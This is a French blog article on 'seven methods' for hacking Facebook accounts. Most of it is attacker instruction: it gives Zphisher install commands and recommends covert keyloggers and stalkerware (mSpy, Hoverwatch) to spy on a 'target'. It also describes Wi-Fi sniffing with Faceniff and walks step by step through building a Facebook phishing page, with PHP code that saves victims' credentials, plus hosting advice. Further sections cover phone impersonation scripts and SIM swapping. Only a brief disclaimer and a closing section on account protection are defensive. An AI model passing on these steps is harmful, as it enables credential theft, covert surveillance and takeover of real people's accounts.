Pirater Facebook tranquillement : 7 méthodes de hacking à connaître

Découvrez comment pirater Facebook avec Zphisher, un outil Linux facile à installer qui donne les dernières pages de connexion Facebook et permet également de suivre Instagram.

Apprenez aussi comment utiliser un keylogger pour enregistrer les frappes et obtenir l’identifiant et le mot de passe du compte Facebook de votre cible. Nous vous présentons également une méthode de piratage de compte Facebook Wi-Fi à l’aide de Faceniff ou du logiciel AndroRAT et une méthode d’hameçonnage très courante pour obtenir le mot de passe.

Bien entendu, nous n’encourageons pas ici l’espionnage illégal qui est réprimé par la loi. Uniquement la démonstration des pratiques les plus efficaces pour que vous puissiez vous protéger contre ces pratiques.

Liste des 7 vraies techniques pour pirater un compte Facebook

Les étapes pour bien s’y prendre et pirater Facebook tranquillement

Pirater Facebook avec Zphisher

⇒ Installation de Zphisher sur Linux

apt update
apt install git php openssh curl -y
git clone https://github.com/htr-tech/zphisher
cd zphisher
chmod +x zphisher.sh
bash zphisher.sh

⇒ Ou utiliser une seule commande

apt update && apt install git php curl openssh -y && git clone https://github.com/htr-tech/zphisher && cd zphisher && chmod +x zphisher.sh && bash zphisher.sh

⇒ Caractéristiques de Zphisher

• [+] Donne les dernières pages de connexion Facebook
• [+] Permet aussi de suivre Instagram

⇒ Page de téléchargement de Zphisher

Pirater l’identifiant et le mot de passe du compte Facebook avec un Keylogger

Les keyloggers enregistrent les frappes qu’une cible presse sur son clavier. Ils sont souvent utilisés pour recueillir les mots de passe.

Les keyloggers pour Windows et Mac OS

Ces outils d’enregistrement de frappe fonctionnent secrètement sur un ordinateur et recueille les données des utilisateurs.

Ils enregistrent les frappes au clavier et vous permettent de visualiser l’appareil à distance, quel que soit l’endroit où vous vous trouvez.

Vous devez avoir un accès physique aux machines pour installer cette application.

Les enregistreurs de frappe pour téléphones portables

Si vous avez besoin d’un keylogger pour smartphone avec un système d’exploitation Android ou iOS, nous vous recommandons d’essayer ces 2 options :

➢ mSpy

Site officiel

mSpy est l’outil de surveillance et de suivi mobile le plus utilisé de nos jours. Il regorge de fonctionnalités utiles qui incitent les utilisateurs à choisir mSpy plutôt que ses concurrents.

Ses fonctionnalités les plus utilisées sont les suivantes :

• Surveillance invisible des applications de messagerie (Facebook Messenger / WhatsApp / SMS / Viber / Instagram et autres)
• Suivi de la localisation du téléphone
• Suivi des conversations téléphoniques (sortantes et entrantes)
• Enregistrement des frappes au clavier
• Prise en charge pour les appareils Android et iOS

Commencer avec mSpy

➢ Hoverwatch

Site officiel

Hoverwatch vous permet de surveiller à distance n’importe quel appareil Android (il ne marche pas sur iPhone). Ce logiciel primé vous permet de garder un œil sur votre cible, à condition que vous ayez obtenu son accord.

Il sait cacher son icône et est un des seuls keyloggers à pouvoir enregistrer en plus les appels et les conversations du téléphone. 

Commencer avec HoverWatch

D’autres outils de surveillance que vous pourriez vouloir vérifier comprennent EyeZy et uMobix. Ils sont tous très efficaces pour localiser les activités de votre enfant sur Facebook et sur internet.

Pirater un compte Facebook par Wi-Fi

Pour pirater un compte Facebook par Wi-Fi, vous devez télécharger Faceniff, une application Android qui vous donnera accès à toutes les informations de l’appareil cible, y compris le nom d’utilisateur et le mot de passe des comptes de réseaux sociaux de la cible.

Vous devez également vous assurer que la cible se trouve sur le même réseau Wi-Fi que vous.

• Connectez-vous à internet
• Lancez l’application Faceniff une fois le téléchargement terminé
• Appuyez ensuite sur la touche Entrée après avoir cliqué sur le bouton rouge, qui deviendra rouge après l’activation du renifleur
• Une liste de comptes liés au réseau Wi-Fi s’affiche, dans laquelle vous pouvez sélectionner le compte que vous souhaitez pirater

➢ Alternative à Faceniff pour pirater Facebook : le logiciel AndroRAT dont nous parlions dans cet article

La méthode de l’hameçonnage

Le phishing est un moyen courant utilisé pour pirater un compte Facebook. En effet, il est très facile de tromper l’utilisateur en lui demandant de donner aveuglément ses identifiants Facebook sans qu’il le sache.

L’hameçonnage est responsable de 80 % des piratages de comptes et cette statistique ne risque pas de changer de sitôt, grâce à son taux de réussite pour pirater un mot de passe.

➢ Concrètement, le pirate crée une fausse page de connexion à Facebook qui ressemble à la vraie

• Le pirate envoie ensuite à la cible un courriel ou un SMS en se faisant passer pour le personnel d’administration de Facebook.
• La communication indique que l’utilisateur doit se connecter à son compte Facebook pour des raisons de sécurité ou pour vérifier le texte d’un ami.
• Le message contient un lien vers la page de phishing.
• Lorsque l’utilisateur clique sur le lien, il se retrouve sur la page du pirate au lieu de la page de connexion Facebook légitime.
• La victime saisit alors son nom d’utilisateur et son mot de passe.
• Dans de nombreux cas, le pirate informatique redirige ensuite la fausse page de phishing vers le site Facebook officiel, ce qui permet à la victime de visiter sa vraie page après s’être connectée.

Cette stratégie laisse la cible dans l’ignorance totale de toute activité suspecte. Elle donne aussi au pirate informatique tout le temps nécessaire pour accéder à la page et faire ce qu’il veut du compte, y compris changer le mot de passe pour verrouiller l’utilisateur.

Le mot de passe Facebook déverrouille aussi Messenger et Instagram

Puisque Facebook est lié à Instagram, il est possible pour le pirate d’accéder également à votre compte Instagram.

Les pirates informatiques volent vos données et les vendent sur le Dark Web à des utilisateurs qui commettent des cyberdélits tels que la fraude et l’usurpation d’identité.

La mise en place d’une page de phishing est un processus compliqué et la plupart des pirates informatiques ont besoin d’outils logiciels spécialisés pour monter des escroqueries de phishing. Cependant, il est possible de créer une page d’hameçonnage à l’aide d’un simple code HTML, à condition de savoir ce que vous faîtes.

Comment créer une page d’hameçonnage Facebook à partir de rien

La conception d’une page d’hameçonnage n’est pas aussi difficile que vous le pensez.

➢ Matériel nécessaire pour créer une page de phising

• un PC
• une connexion internet
• la volonté d’apprendre quelques bases du langage HTML
• un compte d’hébergement web
• un bloc-notes

Si vous disposez de ces outils, vous pouvez suivre cette méthode pour mettre en place votre première page de phishing Facebook.

➢ Étape 1

• Déconnectez-vous de votre compte Facebook
• Visitez la page de connexion par défaut de www.facebook.com.
• Cliquez avec le bouton droit de la souris n’importe où sur la page
• Cliquez sur « Voir le code source »
• Sélectionnez tout le texte
• Copiez-le dans le bloc-notes (CTRL+A puis Copier)
• Ouvrez une page blanche du bloc-notes
• Collez tout à l’intérieur

➢ Étape 2

• Cliquez sur le haut du texte dans le bloc-notes avec le bouton gauche de la souris
• Maintenez la touche CTRL+F enfoncée
• Tapez « action= » dans la zone de recherche sans les guillemets
• Cliquez sur « Find Next »
• Il devrait y avoir deux « action= » dans le texte, c’est le premier qui nous intéresse
• Remplacez le lien entre les guillemets par « post.php« 
• Ne changez pas les guillemets, mais seulement le texte entre les guillemets
• Allez ensuite dans Fichier > Enregistrer sous
• Nommez le fichier « index.html« 
• Réglez l’option d’encodage sur « Unicode »

➢ Étape 3

• Créez un nouveau document bloc-notes avec le nom de post.php
• Copiez et collez le code suivant dans ce document avant de sauvegarder

<?php
header (‘Location:http://www.facebook.com/’);
$handle = fopen(‘usernames.txt’, ‘a’);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ‘=’);
fwrite($handle, $value);
fwrite($handle, ‘rn’);
}
fwrite($handle, ‘rn’);
fclose($handle);
exit;
?>

➢ Étape 4

Vous aurez besoin d’un compte d’hébergement web puisqu’une page de phishing est essentiellement une page de site web sur un compte hébergé. Cela peut poser un problème à certaines personnes qui souhaitent le faire gratuitement, mais il existe des solutions d’hébergement gratuites.

Le problème avec ces solutions gratuites, c’est que ces comptes sont souvent suspendus parce que le phishing n’est pas autorisé par la plupart des sociétés d’hébergement.

Si vous voulez être sérieux, nous vous recommandons d’opter pour un vrai nom de domaine et un hébergement payant. Comme vous avez payé pour cela, vous êtes propriétaire et vous pouvez héberger sur votre site web ce que vous voulez.

➢ Étape 5

• Téléchargez les 2 fichiers d’affichage et d’indexation sur votre compte d’hébergement web (index.htm et post.php) dans le dossier « public_html »
• Supprimez le fichier default.php s’il est présent
• Connectez-vous à votre cPanel
• Allez dans le gestionnaire de fichiers > public_html
• Vous êtes maintenant prêt à utiliser votre page de phishing

• Lorsqu’une victime suit ce lien, elle se retrouve sur votre page d’hameçonnage.
• Lorsqu’elle saisit son nom d’utilisateur et son mot de passe, la page les stocke dans le fichier « usernames.txt » dans le même dossier « public_html » .

3 manières dont l’ingénierie sociale s’y prend pour pirater un compte Facebook

L’ingénierie sociale est une façon intelligente d' »arnaquer » les gens pour qu’ils vous donnent accès à leurs données de connexion sur Facebook.

Il existe plusieurs méthodes créatives pour cette approche, les suivantes étant les plus populaires :

1/ Se faire passer pour un technicien

• Appelez la cible
• Faîtes-vous passer pour un technicien Facebook
• Demandez-lui de vous fournir ses données de connexion pour que vous puissiez vérifier son compte
• Vous serez surpris de voir combien de personnes sont prêtes à donner leurs secrets si elles pensent qu’une figure autoritaire est au téléphone avec elles

2/ Emprunter le téléphone

• Demander à emprunter le téléphone de la cible
• Obtenir les informations de connexion en quelques secondes grâce à cette stratégie (il vous les donne volontairement)

3/ L’échange de SIM

L’attaque par échange de carte SIM est à mon avis la méthode gratuite la plus sournoise et la plus malveillante pour pirater le mot de passe d’un compte Facebook, ou tout autre mot de passe de compte en ligne. 

L’échange de cartes SIM est une forme d’usurpation d’identité dans laquelle l’agresseur trompe un opérateur de téléphonie mobile et le convainc de changer le numéro de téléphone de sa victime pour un nouveau numéro de téléphone que l’agresseur possède.

L’attaquant fait cela pour détourner les messages SMS contenant des mots de passe à usage unique (OTP). Ils sont envoyés au numéro de téléphone lors d’opérations telles que :

• la réinitialisation du mot de passe d’un compte
• l’exécution d’une transaction bancaire, etc.

Une fois les SMS interceptés, le pirate peut faire un reset du mot de passe Facebook et prendre possession du compte.

Comment pirater le mot de passe de Messenger ?

Facebook a maintenant séparé sa messagerie du réseau social principal. Cependant, les deux restent liés au même compte.

De ce fait, pour pirater le mot de passe de Messenger, les mêmes techniques de piratage doivent être utilisées.

Messenger, Facebook et Instagram : même combat

La seule différence est que Messenger est plus souvent utilisé sur un smartphone que sur un ordinateur (il est conçu pour ça).

De ce fait, le moyen le plus facile pour pirater la messagerie Messenger de quelqu’un reste d’installer sur son portable une application d’espionnage furtive :

Commencer l’installation

Les techniques qui ne fonctionnent plus si vous souhaitez pirater un compte Facebook

La perte du mot de passe

Vous avez peut-être entendu parler de la technique de la perte du mot de passe pour récupérer un nouveau mot de passe Facebook en connaisant simplement la messagerie Email de la victime ?

Eh bien cette technique ne fonctionne plus, Facebook ayant tout simplement mis en place un blocage du compte lorsque l’adresse IP et l’ordinateur de connexion lui semblent différents de la normale.

D’autres arnaques qu’il ne faut pas utiliser

Face-Geek.com et Pirater-Geek.com (ce sont les mêmes) sont des sites très bien placés dans Google lorsqu’on se renseigne pour pirater un compte Facebook, et en effet le design est assez bien fait :

• Le service est doté d’un blog
• d’une FAQ
• sa page d’accueil donne envie
• il utilise la même couleur bleue que le site officiel de Facebook

Face-Geek affirme que son équipe est capable de hacker tout compte Facebook en retrouvant en quelques minutes seulement le mot de passe du compte à deux conditions :

C’est beau ! me suis-je dit, puis j’ai commencé à douter quand j’ai lu que le site proposait ce service gratuitement malgré un « formulaire » à remplir pour soit-disant « éviter les surcharges de réseau » . Là je me suis dit deux choses :

➢ Les commentaires affirment qu’ils se sont fait avoir

Je me suis renseigné sur la réputation du site Face-Geek.com et je dois dire que je ne le testerai jamais moi-même de peur d’être victime d’une arnaque ou de phising.

Observez plutôt les commentaires sur la page Facebook du site :

Certains commentaires affirment :

Ensuite je me suis rendu sur https://www.lesarnaquesinternet.com, à l’époque le site face-geek.com y était répertorié. Là on pouvait lire les plaintes des consommateurs s’étant faits arnaquer :

Donc voilà pour ma part, j’arrête de me renseigner sur ce site en lequel je ne fais pas confiance.

D’autant plus que si Facebook avait eu connaissance de cette « facilité » avec laquelle un site pouvait récupérer les mots de passe de TOUS SES UTILISATEURS, cela fait bien longtemps que Face-geek.com aurait été assigné en justice ou qu’une parade aurait été trouvée.

➢ Learnhacker.com (anciennement Samhacker)

Ça ne marche pas et ces services cherchent le plus souvent à vous escroquer.

Il n’est tout simplement pas possible de percer un compte Facebook simplement à l’aide de l’Email du compte ou de son identifiant, tout simplement parce que Facebook a mis en place de nombreuses techniques de sécurité contre ça.

➢ Quand un produit est gratuit c’est que vous êtes le produit

Vous vous rappelez de la phrase :

« Quand un produit est gratuit, c’est que c’est vous le produit. »

Avec ces sites gratuits c’est exactement ça. Il y a automatiquement une arnaque.

Savoir comment pirater un compte facebook sans logiciel mérite un peu plus de d’inventivité, comme nous allons le voir ci-dessous.

Comment vous protéger contre le piratage des comptes Facebook

Comment reconnaître un compte piraté ?

Voici 5 signes généraux qui indiquent que votre compte Facebook a été piraté.

1. Vous ne pouvez plus accéder à votre compte. Le pirate a peut-être changé le mot de passe et vous a déconnecté.
2. Quelqu’un publie des articles ou des messages à votre insu. Il peut s’agir de promotions, d’offres de spam, etc. Vous pouvez également remarquer des publications dans votre groupe Facebook.
3. Quelqu’un envoie du spam à vos amis et contacts.
4. Vos photos deviennent virales, ou quelqu’un les a publiées sur internet ou dans un groupe Facebook.
5. Des pirates informatiques malveillants peuvent envoyer des liens de phishing à vos amis dans le but de pirater d’autres comptes.

La première chose que vous pouvez faire pour protéger votre compte Facebook : Activer l’authentification à 2 facteurs

Une fois cette option activée, votre compte nécessitera deux éléments pour se connecter :

• votre mot de passe
• et un code supplémentaire à usage unique, qui sera envoyé par SMS sur votre téléphone ou généré par une application comme Authy, Google Authenticator ou Microsoft Authenticator.

Pour ce faire :

• Sur votre mobile, ouvrez l’application Facebook et cliquez sur Menu
• Faites défiler l’écran vers le bas et cliquez sur Paramètres
• Faites défiler vers le bas et cliquez sur Sécurité et connexion
• Cliquez sur Configurer l’authentification à deux facteurs et suivez les instructions
• Si vous voyez un symbole de verrouillage vert en haut de l’écran, c’est que vous êtes déjà configuré et que vous pouvez commencer

Auparavant, on pouvait utiliser des contacts de confiance pour récupérer son compte Facebook, cela permettait de l’authentifier en demandant à des amis de confirmer votre identité, mais ce mode de récupération a été supprimé par Facebook en 2023.

Enfin, si votre compte est verrouillé, le premier endroit à visiter est facebook.com/hacked.

Vous pourrez :

• y raconter ce qui s’est passé
• répondre à des questions sur votre compte
• et éventuellement vous identifier pour que Facebook puisse vous rendre l’accès légitime

Sachez que non seulement cela peut prendre un certain temps, mais qu’il se peut aussi que vous ne retrouviez pas du tout votre accès.

Facebook reste un site fiable

Malgré les techniques que nous venons d’exposer pour pirater un compte Facebook, le réseau social n°1 reste totalement fiable si vous prenez soin de :

• vous rendre dans les paramètres « Sécurité »
• personnaliser vos options de confidentialité
• utiliser un pare-feu efficace pour éviter qu’un hacker n’emprunte votre connexion à distance

Aujourd’hui Facebook a fait d’énormes efforts pour rendre son réseau social sûr à partir du moment où vous sélectionnez les bonnes options de confidentialité et de sécurité.

Comment empêcher le piratage de Facebook ?

Voici les étapes à suivre pour éviter que quelqu’un ne pirate votre Facebook :

1. Ne cliquez pas sur les liens contenus dans les emails, surtout s’ils ne proviennent pas d’une source vérifiée.
2. Si vous devez visiter un lien, lisez-le attentivement. Il est même préférable d’aller sur le site web et de chercher le contenu dont vous avez besoin.
3. Ne cliquez sur aucun lien si vous recevez une fenêtre contextuelle lorsque vous visitez un forum ou un salon de discussion.
4. Ajouter des extensions à votre navigateurs permettant des filtres antiphishing.

➢ Cliquez pour lire :